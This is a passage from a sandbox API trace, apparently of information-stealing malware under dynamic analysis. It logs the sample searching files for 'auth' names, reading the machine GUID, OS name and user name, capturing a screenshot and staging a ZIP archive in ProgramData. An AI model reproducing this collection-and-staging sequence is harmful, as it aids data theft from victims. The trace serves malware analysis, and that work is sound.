(pszFile="nd1SYQH.wav", pszSpec="*auth*.*") returned 0 [0146.813] PathMatchSpecW (pszFile="rseOPWBE.mp4", pszSpec="*auth*.*") returned 0 [0146.813] PathMatchSpecW (pszFile="2Nmr4xl", pszSpec="*auth*.*") returned 0 [0146.813] PathMatchSpecW (pszFile="6_Lz6Ex2GE8X0H7LSYpm.doc", pszSpec="*auth*.*") returned 0 [0146.813] PathMatchSpecW (pszFile="i33RqOxAVJq9dL.mkv", pszSpec="*auth*.*") returned 0 [0146.813] PathMatchSpecW (pszFile="JsOVvpw5D.jpg", pszSpec="*auth*.*") returned 0 [0146.813] PathMatchSpecW (pszFile="SZTd4bP.mp4", pszSpec="*auth*.*") returned 0 [0146.813] PathMatchSpecW (pszFile="TS0v8AtAD55v.mp3", pszSpec="*auth*.*") returned 0 [0146.813] PathMatchSpecW (pszFile="Mhr9", pszSpec="*auth*.*") returned 0 [0146.813] PathMatchSpecW (pszFile="W89TW0.jpg", pszSpec="*auth*.*") returned 0 [0146.821] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files")) returned 1 [0147.106] GetCurrentHwProfileA (in: lpHwProfileInfo=0x19f688 | out: lpHwProfileInfo=0x19f688) returned 1 [0147.106] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f500 | out: phkResult=0x19f500*=0x4d0) returned 0x0 [0147.107] RegQueryValueExA (in: hKey=0x4d0, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19f504, lpcbData=0x19f4fc*=0xff | out: lpType=0x0, lpData=0x19f504*=0x30, lpcbData=0x19f4fc*=0x25) returned 0x0 [0147.107] RegCloseKey (hKey=0x4d0) returned 0x0 [0147.107] CharToOemA (in: pSrc="03845cb8-7441-4a2f-8c0f-c90408af5778", pDst=0x19f604 | out: pDst="03845cb8-7441-4a2f-8c0f-c90408af5778") returned 1 [0147.107] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f5c0 | out: phkResult=0x19f5c0*=0x4d0) returned 0x0 [0147.107] RegQueryValueExA (in: hKey=0x4d0, lpValueName="ProductName", lpReserved=0x0, lpType=0x0, lpData=0x19f5c4, lpcbData=0x19f5bc*=0xff | out: lpType=0x0, lpData=0x19f5c4*=0x57, lpcbData=0x19f5bc*=0xf) returned 0x0 [0147.107] RegCloseKey (hKey=0x4d0) returned 0x0 [0147.107] CharToOemA (in: pSrc="Windows 10 Pro", pDst=0x19f6c4 | out: pDst="Windows 10 Pro") returned 1 [0147.107] GetCurrentProcess () returned 0xffffffff [0147.107] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x19f7c4 | out: Wow64Process=0x19f7c4*=1) returned 1 [0147.107] GetUserNameA (in: lpBuffer=0x19f6c0, pcbBuffer=0x19f6bc | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x19f6bc) returned 1 [0147.108] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23668b8 [0147.108] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340dc0 [0147.108] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23669b8 [0147.109] GetLastError () returned 0x3 [0147.109] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406c8 | out: hHeap=0x2360000) returned 1 [0147.109] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23669b8 | out: hHeap=0x2360000) returned 1 [0147.109] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340dc0 | out: hHeap=0x2360000) returned 1 [0147.109] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23668b8 | out: hHeap=0x2360000) returned 1 [0147.109] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366878 [0147.110] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340ba0 [0147.110] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366908 [0147.110] GetLastError () returned 0x3 [0147.110] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340448 | out: hHeap=0x2360000) returned 1 [0147.111] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366908 | out: hHeap=0x2360000) returned 1 [0147.111] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ba0 | out: hHeap=0x2360000) returned 1 [0147.111] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366878 | out: hHeap=0x2360000) returned 1 [0147.111] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366808 [0147.111] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x3340c80 [0147.111] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2366948 [0147.112] GetLastError () returned 0x3 [0147.112] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340380 | out: hHeap=0x2360000) returned 1 [0147.112] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366948 | out: hHeap=0x2360000) returned 1 [0147.112] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c80 | out: hHeap=0x2360000) returned 1 [0147.112] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366808 | out: hHeap=0x2360000) returned 1 [0147.112] GdiplusStartup (in: token=0x19f7b8, input=0x19f7bc, output=0x0 | out: token=0x19f7b8, output=0x0) returned 0x0 [0147.957] GetSystemMetrics (nIndex=0) returned 1440 [0147.957] GetSystemMetrics (nIndex=1) returned 900 [0147.957] CreateCompatibleDC (hdc=0x0) returned 0x3f010996 [0147.958] GetDC (hWnd=0x0) returned 0xa0100d0 [0147.958] CreateCompatibleBitmap (hdc=0xa0100d0, cx=1440, cy=900) returned 0x470509bb [0148.044] SelectObject (hdc=0x3f010996, h=0x470509bb) returned 0x185000f [0148.044] GetDC (hWnd=0x0) returned 0x401018d [0148.045] BitBlt (hdc=0x3f010996, x=0, y=0, cx=1440, cy=900, hdcSrc=0x401018d, x1=0, y1=0, rop=0xcc0020) returned 1 [0148.387] GdipAlloc (size=0x10) returned 0x3981f08 [0148.388] GdipCreateBitmapFromHBITMAP (hbm=0x470509bb, hpal=0x0, bitmap=0x19f764) returned 0x0 [0148.482] GdipGetImageEncodersSize (numEncoders=0x19f748, size=0x19f74c) returned 0x0 [0148.483] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x410) returned 0x23671f0 [0148.483] GdipGetImageEncoders (in: numEncoders=0x5, size=0x410, encoders=0x23671f0 | out: encoders=0x23671f0) returned 0x0 [0148.484] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23671f0 | out: hHeap=0x2360000) returned 1 [0148.484] GdipSaveImageToFile (image=0x3981f20, filename="screenshot.jpg", clsidEncoder=0x19f768*(Data1=0x557cf401, Data2=0x1a04, Data3=0x11d3, Data4=([0]=0x9a, [1]=0x73, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1e, [6]=0xf3, [7]=0x2e)), encoderParams=0x0) returned 0x0 [0148.976] GdipDisposeImage (image=0x3981f20) returned 0x0 [0149.013] GdipFree (ptr=0x3981f08) [0149.013] DeleteObject (ho=0x470509bb) returned 1 [0149.013] GdiplusShutdown (token=0x15b5b95) [0149.023] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x")) returned 1 [0149.023] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa) returned 0x236abe8 [0149.023] GetTickCount () returned 0x15b5fbc [0149.023] GetLastError () returned 0x0 [0149.024] SetLastError (dwErrCode=0x0) [0149.024] GetLastError () returned 0x0 [0149.024] SetLastError (dwErrCode=0x0) [0149.024] GetLastError () returned 0x0 [0149.024] SetLastError (dwErrCode=0x0) [0149.024] GetLastError () returned 0x0 [0149.024] SetLastError (dwErrCode=0x0) [0149.024] GetLastError () returned 0x0 [0149.024] SetLastError (dwErrCode=0x0) [0149.024] GetLastError () returned 0x0 [0149.024] SetLastError (dwErrCode=0x0) [0149.024] GetLastError () returned 0x0 [0149.024] SetLastError (dwErrCode=0x0) [0149.024] GetLastError () returned 0x0 [0149.024] SetLastError (dwErrCode=0x0) [0149.024] GetLastError () returned 0x0 [0149.024] SetLastError (dwErrCode=0x0) [0149.024] GetLastError () returned 0x0 [0149.024] SetLastError (dwErrCode=0x0) [0149.024] GetLastError () returned 0x0 [0149.024] SetLastError (dwErrCode=0x0) [0149.024] GetLastError () returned 0x0 [0149.025] SetLastError (dwErrCode=0x0) [0149.025] GetLastError () returned 0x0 [0149.025] SetLastError (dwErrCode=0x0) [0149.025] GetLastError () returned 0x0 [0149.025] SetLastError (dwErrCode=0x0) [0149.025] GetLastError () returned 0x0 [0149.025] SetLastError (dwErrCode=0x0) [0149.025] GetLastError () returned 0x0 [0149.025] SetLastError (dwErrCode=0x0) [0149.025] GetLastError () returned 0x0 [0149.025] SetLastError (dwErrCode=0x0) [0149.025] GetLastError () returned 0x0 [0149.025] SetLastError (dwErrCode=0x0) [0149.025] GetLastError () returned 0x0 [0149.025] SetLastError (dwErrCode=0x0) [0149.025] GetLastError () returned 0x0 [0149.025] SetLastError (dwErrCode=0x0) [0149.025] GetLastError () returned 0x0 [0149.026] SetLastError (dwErrCode=0x0) [0149.026] GetLastError () returned 0x0 [0149.026] SetLastError (dwErrCode=0x0) [0149.026] GetLastError () returned 0x0 [0149.026] SetLastError (dwErrCode=0x0) [0149.026] GetLastError () returned 0x0 [0149.026] SetLastError (dwErrCode=0x0) [0149.026] GetLastError () returned 0x0 [0149.026] SetLastError (dwErrCode=0x0) [0149.026] GetLastError () returned 0x0 [0149.026] SetLastError (dwErrCode=0x0) [0149.026] GetLastError () returned 0x0 [0149.026] SetLastError (dwErrCode=0x0) [0149.026] GetLastError () returned 0x0 [0149.026] SetLastError (dwErrCode=0x0) [0149.026] GetLastError () returned 0x0 [0149.027] SetLastError (dwErrCode=0x0) [0149.027] GetLastError () returned 0x0 [0149.027] SetLastError (dwErrCode=0x0) [0149.027] GetLastError () returned 0x0 [0149.027] SetLastError (dwErrCode=0x0) [0149.027] GetLastError () returned 0x0 [0149.027] SetLastError (dwErrCode=0x0) [0149.027] GetLastError () returned 0x0 [0149.027] SetLastError (dwErrCode=0x0) [0149.027] GetLastError () returned 0x0 [0149.027] SetLastError (dwErrCode=0x0) [0149.027] GetLastError () returned 0x0 [0149.027] SetLastError (dwErrCode=0x0) [0149.027] GetLastError () returned 0x0 [0149.027] SetLastError (dwErrCode=0x0) [0149.027] GetLastError () returned 0x0 [0149.027] SetLastError (dwErrCode=0x0) [0149.027] GetLastError () returned 0x0 [0149.027] SetLastError (dwErrCode=0x0) [0149.027] GetLastError () returned 0x0 [0149.027] SetLastError (dwErrCode=0x0) [0149.027] GetLastError () returned 0x0 [0149.028] SetLastError (dwErrCode=0x0) [0149.028] GetLastError () returned 0x0 [0149.028] SetLastError (dwErrCode=0x0) [0149.028] GetLastError () returned 0x0 [0149.028] SetLastError (dwErrCode=0x0) [0149.028] GetLastError () returned 0x0 [0149.028] SetLastError (dwErrCode=0x0) [0149.028] GetLastError () returned 0x0 [0149.028] SetLastError (dwErrCode=0x0) [0149.028] GetLastError () returned 0x0 [0149.028] SetLastError (dwErrCode=0x0) [0149.028] GetLastError () returned 0x0 [0149.028] SetLastError (dwErrCode=0x0) [0149.028] GetLastError () returned 0x0 [0149.028] SetLastError (dwErrCode=0x0) [0149.028] GetLastError () returned 0x0 [0149.028] SetLastError (dwErrCode=0x0) [0149.028] GetLastError () returned 0x0 [0149.028] SetLastError (dwErrCode=0x0) [0149.028] GetLastError () returned 0x0 [0149.029] SetLastError (dwErrCode=0x0) [0149.029] GetLastError () returned 0x0 [0149.029] SetLastError (dwErrCode=0x0) [0149.029] GetLastError () returned 0x0 [0149.029] SetLastError (dwErrCode=0x0) [0149.029] GetLastError () returned 0x0 [0149.029] SetLastError (dwErrCode=0x0) [0149.029] GetLastError () returned 0x0 [0149.029] SetLastError (dwErrCode=0x0) [0149.029] GetLastError () returned 0x0 [0149.029] SetLastError (dwErrCode=0x0) [0149.029] GetLastError () returned 0x0 [0149.029] SetLastError (dwErrCode=0x0) [0149.029] GetLastError () returned 0x0 [0149.029] SetLastError (dwErrCode=0x0) [0149.029] GetLastError () returned 0x0 [0149.029] SetLastError (dwErrCode=0x0) [0149.030] GetLastError () returned 0x0 [0149.030] SetLastError (dwErrCode=0x0) [0149.030] GetLastError () returned 0x0 [0149.030] SetLastError (dwErrCode=0x0) [0149.030] GetLastError () returned 0x0 [0149.030] SetLastError (dwErrCode=0x0) [0149.030] GetLastError () returned 0x0 [0149.030] SetLastError (dwErrCode=0x0) [0149.030] GetLastError () returned 0x0 [0149.030] SetLastError (dwErrCode=0x0) [0149.030] GetLastError () returned 0x0 [0149.030] SetLastError (dwErrCode=0x0) [0149.030] GetLastError () returned 0x0 [0149.030] SetLastError (dwErrCode=0x0) [0149.030] GetLastError () returned 0x0 [0149.030] SetLastError (dwErrCode=0x0) [0149.030] GetLastError () returned 0x0 [0149.030] SetLastError (dwErrCode=0x0) [0149.030] GetLastError () returned 0x0 [0149.030] SetLastError (dwErrCode=0x0) [0149.031] GetLastError () returned 0x0 [0149.031] SetLastError (dwErrCode=0x0) [0149.031] GetLastError () returned 0x0 [0149.031] SetLastError (dwErrCode=0x0) [0149.031] GetLastError () returned 0x0 [0149.031] SetLastError (dwErrCode=0x0) [0149.031] GetLastError () returned 0x0 [0149.031] SetLastError (dwErrCode=0x0) [0149.031] GetLastError () returned 0x0 [0149.031] SetLastError (dwErrCode=0x0) [0149.031] GetLastError () returned 0x0 [0149.031] SetLastError (dwErrCode=0x0) [0149.031] GetLastError () returned 0x0 [0149.031] SetLastError (dwErrCode=0x0) [0149.031] GetLastError () returned 0x0 [0149.031] SetLastError (dwErrCode=0x0) [0149.031] GetLastError () returned 0x0 [0149.031] SetLastError (dwErrCode=0x0) [0149.031] GetLastError () returned 0x0 [0149.032] SetLastError (dwErrCode=0x0) [0149.032] GetLastError () returned 0x0 [0149.032] SetLastError (dwErrCode=0x0) [0149.032] GetLastError () returned 0x0 [0149.032] SetLastError (dwErrCode=0x0) [0149.032] GetLastError () returned 0x0 [0149.032] SetLastError (dwErrCode=0x0) [0149.032] GetLastError () returned 0x0 [0149.032] SetLastError (dwErrCode=0x0) [0149.032] GetLastError () returned 0x0 [0149.032] SetLastError (dwErrCode=0x0) [0149.032] GetLastError () returned 0x0 [0149.032] SetLastError (dwErrCode=0x0) [0149.032] GetLastError () returned 0x0 [0149.032] SetLastError (dwErrCode=0x0) [0149.032] GetLastError () returned 0x0 [0149.032] SetLastError (dwErrCode=0x0) [0149.032] GetLastError () returned 0x0 [0149.032] SetLastError (dwErrCode=0x0) [0149.032] GetLastError () returned 0x0 [0149.033] SetLastError (dwErrCode=0x0) [0149.033] GetLastError () returned 0x0 [0149.033] SetLastError (dwErrCode=0x0) [0149.033] GetLastError () returned 0x0 [0149.033] SetLastError (dwErrCode=0x0) [0149.033] GetLastError () returned 0x0 [0149.033] SetLastError (dwErrCode=0x0) [0149.033] GetLastError () returned 0x0 [0149.033] SetLastError (dwErrCode=0x0) [0149.033] GetLastError () returned 0x0 [0149.033] SetLastError (dwErrCode=0x0) [0149.033] GetLastError () returned 0x0 [0149.033] SetLastError (dwErrCode=0x0) [0149.033] GetLastError () returned 0x0 [0149.033] SetLastError (dwErrCode=0x0) [0149.033] GetLastError () returned 0x0 [0149.034] SetLastError (dwErrCode=0x0) [0149.034] GetLastError () returned 0x0 [0149.034] SetLastError (dwErrCode=0x0) [0149.034] GetLastError () returned 0x0 [0149.034] SetLastError (dwErrCode=0x0) [0149.034] GetLastError () returned 0x0 [0149.034] SetLastError (dwErrCode=0x0) [0149.034] GetLastError () returned 0x0 [0149.034] SetLastError (dwErrCode=0x0) [0149.034] GetLastError () returned 0x0 [0149.034] SetLastError (dwErrCode=0x0) [0149.034] GetLastError () returned 0x0 [0149.034] SetLastError (dwErrCode=0x0) [0149.034] GetLastError () returned 0x0 [0149.034] SetLastError (dwErrCode=0x0) [0149.034] GetLastError () returned 0x0 [0149.035] SetLastError (dwErrCode=0x0) [0149.035] GetLastError () returned 0x0 [0149.035] SetLastError (dwErrCode=0x0) [0149.035] GetLastError () returned 0x0 [0149.035] SetLastError (dwErrCode=0x0) [0149.035] GetLastError () returned 0x0 [0149.035] SetLastError (dwErrCode=0x0) [0149.035] GetLastError () returned 0x0 [0149.035] SetLastError (dwErrCode=0x0) [0149.035] GetLastError () returned 0x0 [0149.035] SetLastError (dwErrCode=0x0) [0149.035] GetLastError () returned 0x0 [0149.035] SetLastError (dwErrCode=0x0) [0149.035] GetLastError () returned 0x0 [0149.035] SetLastError (dwErrCode=0x0) [0149.035] GetLastError () returned 0x0 [0149.035] SetLastError (dwErrCode=0x0) [0149.035] GetLastError () returned 0x0 [0149.036] SetLastError (dwErrCode=0x0) [0149.036] GetLastError () returned 0x0 [0149.036] SetLastError (dwErrCode=0x0) [0149.036] GetLastError () returned 0x0 [0149.036] SetLastError (dwErrCode=0x0) [0149.036] GetLastError () returned 0x0 [0149.036] SetLastError (dwErrCode=0x0) [0149.036] GetLastError () returned 0x0 [0149.036] SetLastError (dwErrCode=0x0) [0149.036] GetLastError () returned 0x0 [0149.036] SetLastError (dwErrCode=0x0) [0149.036] GetLastError () returned 0x0 [0149.036] SetLastError (dwErrCode=0x0) [0149.036] GetLastError () returned 0x0 [0149.036] SetLastError (dwErrCode=0x0) [0149.036] GetLastError () returned 0x0 [0149.036] SetLastError (dwErrCode=0x0) [0149.036] GetLastError () returned 0x0 [0149.036] SetLastError (dwErrCode=0x0) [0149.036] GetLastError () returned 0x0 [0149.037] SetLastError (dwErrCode=0x0) [0149.037] GetLastError () returned 0x0 [0149.037] SetLastError (dwErrCode=0x0) [0149.037] GetLastError () returned 0x0 [0149.037] SetLastError (dwErrCode=0x0) [0149.037] GetLastError () returned 0x0 [0149.037] SetLastError (dwErrCode=0x0) [0149.037] GetLastError () returned 0x0 [0149.037] SetLastError (dwErrCode=0x0) [0149.037] GetLastError () returned 0x0 [0149.037] SetLastError (dwErrCode=0x0) [0149.037] GetLastError () returned 0x0 [0149.037] SetLastError (dwErrCode=0x0) [0149.037] GetLastError () returned 0x0 [0149.037] SetLastError (dwErrCode=0x0) [0149.037] GetLastError () returned 0x0 [0149.037] SetLastError (dwErrCode=0x0) [0149.037] GetLastError () returned 0x0 [0149.037] SetLastError (dwErrCode=0x0) [0149.037] GetLastError () returned 0x0 [0149.038] SetLastError (dwErrCode=0x0) [0149.038] GetLastError () returned 0x0 [0149.038] SetLastError (dwErrCode=0x0) [0149.038] GetLastError () returned 0x0 [0149.038] SetLastError (dwErrCode=0x0) [0149.038] GetLastError () returned 0x0 [0149.038] SetLastError (dwErrCode=0x0) [0149.038] GetLastError () returned 0x0 [0149.038] SetLastError (dwErrCode=0x0) [0149.038] GetLastError () returned 0x0 [0149.038] SetLastError (dwErrCode=0x0) [0149.038] GetLastError () returned 0x0 [0149.038] SetLastError (dwErrCode=0x0) [0149.038] GetLastError () returned 0x0 [0149.038] SetLastError (dwErrCode=0x0) [0149.038] GetLastError () returned 0x0 [0149.039] SetLastError (dwErrCode=0x0) [0149.039] GetLastError () returned 0x0 [0149.039] SetLastError (dwErrCode=0x0) [0149.039] GetLastError () returned 0x0 [0149.039] SetLastError (dwErrCode=0x0) [0149.039] GetLastError () returned 0x0 [0149.039] SetLastError (dwErrCode=0x0) [0149.039] GetLastError () returned 0x0 [0149.039] SetLastError (dwErrCode=0x0) [0149.039] GetLastError () returned 0x0 [0149.039] SetLastError (dwErrCode=0x0) [0149.039] GetLastError () returned 0x0 [0149.039] SetLastError (dwErrCode=0x0) [0149.039] GetLastError () returned 0x0 [0149.039] SetLastError (dwErrCode=0x0) [0149.039] GetLastError () returned 0x0 [0149.039] SetLastError (dwErrCode=0x0) [0149.039] GetLastError () returned 0x0 [0149.040] SetLastError (dwErrCode=0x0) [0149.040] GetLastError () returned 0x0 [0149.040] SetLastError (dwErrCode=0x0) [0149.040] GetLastError () returned 0x0 [0149.040] SetLastError (dwErrCode=0x0) [0149.040] GetLastError () returned 0x0 [0149.040] SetLastError (dwErrCode=0x0) [0149.040] GetLastError () returned 0x0 [0149.040] SetLastError (dwErrCode=0x0) [0149.040] GetLastError () returned 0x0 [0149.040] SetLastError (dwErrCode=0x0) [0149.040] GetLastError () returned 0x0 [0149.040] SetLastError (dwErrCode=0x0) [0149.040] GetLastError () returned 0x0 [0149.040] SetLastError (dwErrCode=0x0) [0149.040] GetLastError () returned 0x0 [0149.040] SetLastError (dwErrCode=0x0) [0149.040] GetLastError () returned 0x0 [0149.040] SetLastError (dwErrCode=0x0) [0149.040] GetLastError () returned 0x0 [0149.040] SetLastError (dwErrCode=0x0) [0149.041] GetLastError () returned 0x0 [0149.041] SetLastError (dwErrCode=0x0) [0149.041] GetLastError () returned 0x0 [0149.041] SetLastError (dwErrCode=0x0) [0149.041] GetLastError () returned 0x0 [0149.041] SetLastError (dwErrCode=0x0) [0149.041] GetLastError () returned 0x0 [0149.041] SetLastError (dwErrCode=0x0) [0149.041] GetLastError () returned 0x0 [0149.041] SetLastError (dwErrCode=0x0) [0149.041] GetLastError () returned 0x0 [0149.041] SetLastError (dwErrCode=0x0) [0149.041] GetLastError () returned 0x0 [0149.041] SetLastError (dwErrCode=0x0) [0149.041] GetLastError () returned 0x0 [0149.041] SetLastError (dwErrCode=0x0) [0149.041] GetLastError () returned 0x0 [0149.042] SetLastError (dwErrCode=0x0) [0149.042] GetLastError () returned 0x0 [0149.042] SetLastError (dwErrCode=0x0) [0149.042] GetLastError () returned 0x0 [0149.042] SetLastError (dwErrCode=0x0) [0149.042] GetLastError () returned 0x0 [0149.042] SetLastError (dwErrCode=0x0) [0149.042] GetLastError () returned 0x0 [0149.042] SetLastError (dwErrCode=0x0) [0149.042] GetLastError () returned 0x0 [0149.042] SetLastError (dwErrCode=0x0) [0149.042] GetLastError () returned 0x0 [0149.042] SetLastError (dwErrCode=0x0) [0149.042] GetLastError () returned 0x0 [0149.042] SetLastError (dwErrCode=0x0) [0149.042] GetLastError () returned 0x0 [0149.042] SetLastError (dwErrCode=0x0) [0149.042] GetLastError () returned 0x0 [0149.042] SetLastError (dwErrCode=0x0) [0149.042] GetLastError () returned 0x0 [0149.042] SetLastError (dwErrCode=0x0) [0149.042] GetLastError () returned 0x0 [0149.043] SetLastError (dwErrCode=0x0) [0149.043] GetLastError () returned 0x0 [0149.043] SetLastError (dwErrCode=0x0) [0149.043] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x19f5c0 | out: phkResult=0x19f5c0*=0x2f8) returned 0x0 [0149.043] RegQueryValueExA (in: hKey=0x2f8, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x0, lpData=0x19f5c4, lpcbData=0x19f5bc*=0xff | out: lpType=0x0, lpData=0x19f5c4*=0x30, lpcbData=0x19f5bc*=0x25) returned 0x0 [0149.043] RegCloseKey (hKey=0x2f8) returned 0x0 [0149.043] CharToOemA (in: pSrc="03845cb8-7441-4a2f-8c0f-c90408af5778", pDst=0x19f6c4 | out: pDst="03845cb8-7441-4a2f-8c0f-c90408af5778") returned 1 [0149.043] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340f40 [0149.043] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x47) returned 0x32bb838 [0149.043] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f40 | out: hHeap=0x2360000) returned 1 [0149.043] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4098) returned 0x32bb988 [0149.043] CreateFileA (lpFileName="03845cb8-7441-4a2f-8c0f-c90408af57788617605785.zip" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\03845cb8-7441-4a2f-8c0f-c90408af57788617605785.zip"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0149.044] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2366918 [0149.044] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340f40 [0149.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340f40, cbMultiByte=47, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 47 [0149.044] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x5e) returned 0x3340f78 [0149.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340f40, cbMultiByte=47, lpWideCharStr=0x3340f78, cchWideChar=47 | out: lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned 47 [0149.044] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x2367968 [0149.044] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f78 | out: hHeap=0x2360000) returned 1 [0149.044] lstrcpyW (in: lpString1=0x19f584, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.044] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\*.*" [0149.044] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\*.*", lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ff9139, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4f8c8f31, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4f8c8f31, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8825b0 [0149.045] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.045] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.045] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\." [0149.045] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.045] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.045] lstrcatW (in: lpString1="\\", lpString2="." | out: lpString1="\\.") returned="\\." [0149.045] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.045] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ff9139, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4f8c8f31, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4f8c8f31, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.045] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.045] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: 